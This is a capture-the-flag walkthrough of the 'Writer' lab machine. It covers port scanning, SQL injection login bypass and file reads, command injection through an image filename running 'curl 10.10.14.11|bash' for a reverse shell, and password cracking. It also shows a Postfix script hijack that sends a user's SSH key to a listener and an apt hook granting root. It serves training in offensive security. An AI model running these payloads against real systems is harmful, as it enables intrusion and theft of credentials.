Writer

Enumeration
As usual, we start with an nmap scan, in order to find open ports in the target machine.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.11.101 -oN allPorts
-sSuse the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000nmap will try to keep the sending rate at or above 5000 packets per second.-p-scanning the entire port range, from 1 to 65535.-T5insane mode, it is the fastest mode of the nmap time template.-Pnassume the host is online.-nscan without reverse DNS resolution.-oNsave the scan result into a file, in this case the allports file.
As we see, ports 22 (SSH), 80 (HTTP), 139 and 445 (SMB) are open. Let's try to obtain more information about the services and versions running on those ports.
nmap -sC -sV -p22,80,139,445 10.10.11.101 -oN targeted
-sCperforms the scan using the default set of scripts.-sVenables version detection.-oNsave the scan result into file, in this case the targeted file.
If we take a look at the website, we'll see a blog which doesn't have anything interesting.

Let's try to enumerate directories with gobuster.
gobuster dir -u http://10.10.11.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200
direnumerates directories or files.-uthe target URL.-wpath to the wordlist.-tnumber of current threads, in this case 200 threads.
Exploitation
If we take a look at the /administrative directory, we'll see a login page.

At this point, I tried to bypass the login page with a basic SQL injection payload, logging in as the user ' or 1=1-- - and a random password.

If we hit the Sign in button, we'll be redirected to the /dashboard page.

Before inspecting the /dashboard page, we could try to enumerate the database with the SQL injection we found before. Let's open Burpsuite, and send the log in request to the Repeater.

To enumerate the database, we'll have to know how many columns have the current table. We can do it by selecting n number of columns and keep incrementing the n number until we get a different response. If we select only one column, we should get Admin Panel as the title of the page.
uname=' union select 1-- -&password=admin

But, if we keep incrementing the number of columns, we'll see that we'll get a different response by selecting six columns.
uname=' union select 1,2,3,4,5,6-- -&password=admin

Now the response has the Redirecting | Writer.HTB title, and we can also see that the second column appears in the response, which means that if we select something else, like the user of the database, it will appear in the response.
uname=' union select 1,user(),3,4,5,6-- -&password=admin

Now we could try to enumerate the whole database, but I tell you in advance that the only interesting thing that you'll find is a MD5 password hash, which can't be broken. But, as MySQL has the load_file() function, which allow us to get the content of local files, we could see the system users loading the /etc/passwd file.
uname=' union select 1,load_file("/etc/passwd"),3,4,5,6-- -&password=admin

Now we know that kyle and john are system users. On the other hand, if we go back to the website, we can see that the Wappalyzer extension detected that the website uses an Apache server.

As we can load files, we could load the /etc/apache2/sites-available/000-default.conf file which is the Apache configuration file of the website.
uname=' union select 1,load_file("/etc/apache2/sites-available/000-default.conf"),3,4,5,6-- -&password=admin

From this information we know that the /static directory, we found earlier with gobuster, is located in /var/www/writer.htb/writer/static. And we can also see there is a .wsgi file. If we take a look at it we should see a python script.
uname=' union select 1,load_file("/var/www/writer.htb/writer.wsgi"),3,4,5,6-- -&password=admin

This python script is importing the __init__.py file from the writer folder. If we take a look at it, we will see a fairly long script.
uname=' union select 1,loadfile("/var/www/writer.htb/writer/__init__.py"),3,4,5,6-- -&password=admin

As the script has some characters in hexadecimal, to convert them to ASCII I will put the entire code in the hex_script.py file and execute the following command, so we can read the script more easily on the script.py file.
cat hex_script.py | sed 's/"/"/g' | sed "s/'/'/g" > script.py
But before inspecting the python script, let's keep exploring the website, now that we have access to the /dashboard page. We see that there is a Stories section in which we can add or edit stories.

Let's add one story and put some random stuff in all the text fields.

Hit the Save button, intercept the request with Burpsuite and send it to the Repeater. If you look closely at the request, you'll see that the image_url parameter, which is empty, is a hidden parameter in the /dashboard/stories/add page.

To understand a bit more what is going on, let's go back to the python script we found earlier. If you inspect the code, you'll see that under the add_story function, triggered in the /dashboard/stories/add directory, we can upload files which need to have .jpg in the name. Those files will be stored in the /var/www/writer.htb/writer/static/img/ folder. The hidden image_url parameter we found earlier also need to have .jpg in the name. And the script executes a command at a system level which renames the file indicated on the image_url parameter.
It's time to get a shell. First, let's set a netcat listener.
nc -lvnp 4444
-llisten mode.-vverbose mode.-nnumeric-only IP, no DNS resolution.-pspecify the port to listen on.
As the script executes a command at a system level, we could try to break it with and execute whatever we want. First, let's create a file called index.html with the following content.
Next, let's set an HTTP server on port 80 with python.
python -m http.server 80
-mrun library module as a script.
If we change the file_name of the image parameter to image.jpg;`curl 10.10.14.11|bash` and then fill the image_url parameter with file:///var/www/writer.htb/writer/static/img/test.jpg;curl 10.10.14.11|bash. The website will upload the image with that name, then it will execute the command on the name which basically will curl our local machine and execute the content on the index.html file, which sends us back a reverse shell.

And we should get a shell as the www-data user.
Privilege Escalation
Let's set an interactive shell.
script /dev/null -c bash
At this point I started enumerating the machine and I found some credentials for the MySQL server on /etc/mysql/my.cnf.
cat /etc/mysql/my.cnf
Let's connect to the MySQL server with these credentials.
mysql -u djangouser -pDjangoSuperPassword
-uuser for login.-ppassword for login.
Let's see what databases the djangouser user can access.
show databases;
Let's explore the dev database.
use dev;
Let's list the tables of the database.
show tables;
Let's see the columns of the auth_user table.
describe auth_user;
Finally, let's select the columns username, and password from the auth_user table.
select username, password from auth_user;
And we get a password hash. We can break it with hashcat. With the following command we'll see that we'll have to use the 10000 hash type.
hashcat --example-hashes | grep pbkdf2_sha256 -B 11
If we break the hash with hashcat we'll see that the password is marcoantonio.
hashcat -a 0 -m 10000 hash /usr/share/wordlists/rockyou.txt
-aattack mode.-mhash type.
Then I tried to log in with the user kyle and the password marcoantonio via SSH, and it worked.
ssh kyle@10.10.11.101
Now we can grab the user flag.
cat user.txt
If we check the groups that the user kyle is a member of, we can see that he belongs to the filter group.
id
Let's see what files have the filter group as the owner group.
find / -group filter 2>/dev/null
As the /var/spool/filter folder is empty, let's work with the /etc/postfix/disclaimer file. Let's see its permissions.
ls -l /etc/postfix/disclaimer
So we can read, edit and execute the /etc/postfix/disclaimer file. Postfix is a mail server which runs on port 25.
netstat -nat
And every time an email arrives, the scripts in the file /etc/postfix/master.cf are executed. Luckily for us, if we see at the bottom of the file, we'll see that the /etc/postfix/disclaimer is being executed by the user john.
cat /etc/postfix/master.cf
The user john has in his home directory the .ssh folder which might have an id_rsa file.
ls -la /home/john/
The idea here is to edit the /etc/postfix/disclaimer file, so when we send a random email, the script will send us the id_rsa file of the user john.
We have to send an email to a user that must exists, and we can find some valid emails on the /etc/postfix/disclaimer_addresses file.
cat /etc/postfix/disclaimer_addresses
Next step, let's create a python script on the writer machine, which will send an email to kyle@writer.htb.
Next, let's set a netcat listener on port 1234, and save the output in a file called id_rsa.
nc -lvnp 1234 > id_rsa
-llisten mode.-vverbose mode.-nnumeric-only IP, no DNS resolution.-pspecify the port to listen on.
Then we will have to edit the /etc/postfix/disclaimer file, remove everything, and write a command that will send the id_rsa file of the john user to our netcat listener.
nano /etc/postfix/disclaimer
Finally, all we have to do is execute the python script we made to send the random email, and we should get the id_rsa file of the john user on our netcat listener.
python3 send.py
On the netcat listener.
cat id_rsa
Don't worry if this whole process doesn't work at first. Keep changing the /etc/postfix/disclaimer file and try to execute the send.py script several times until it works.
Now that we have the id_rsa file, let's give it the right permissions, and use it to log in with the john user via ssh.
chmod 600 id_rsa
ssh -i id_rsa john@10.10.11.101
Let's transfer pspy to the writer machine.
python -m http.server
On the writer machine.
wget http://10.10.14.11:8000/pspy64
Let's run it.
chmod +x pspy64 && ./pspy64
We will see, among other processes, that an apt-get update is being executed by the root user with UID=0.
If we see which groups the user john belongs to, we can see that he belongs to the management group.
id
Let's see what files have the management group as owner group, and what permissions we have on them.
find / -group management 2>/dev/null | xargs ls -ld
Whenever an apt-get update is made, all the files on the /etc/apt/apt.conf.d folder will be executed. And as we have the right permissions to create a file on that folder, and the update is being made by the root user, we could create a file which will give the SUID permission the /bin/bash binary before the system update is made.
nano /etc/apt/apt.conf.d/test
Then, we wait until the update is made, and the /bin/bash should have the SUID permission assigned.
ls -l /bin/bash
And finally, all we have to do is reap the harvest and take the root flag.
bash -p
Last updated
Was this helpful?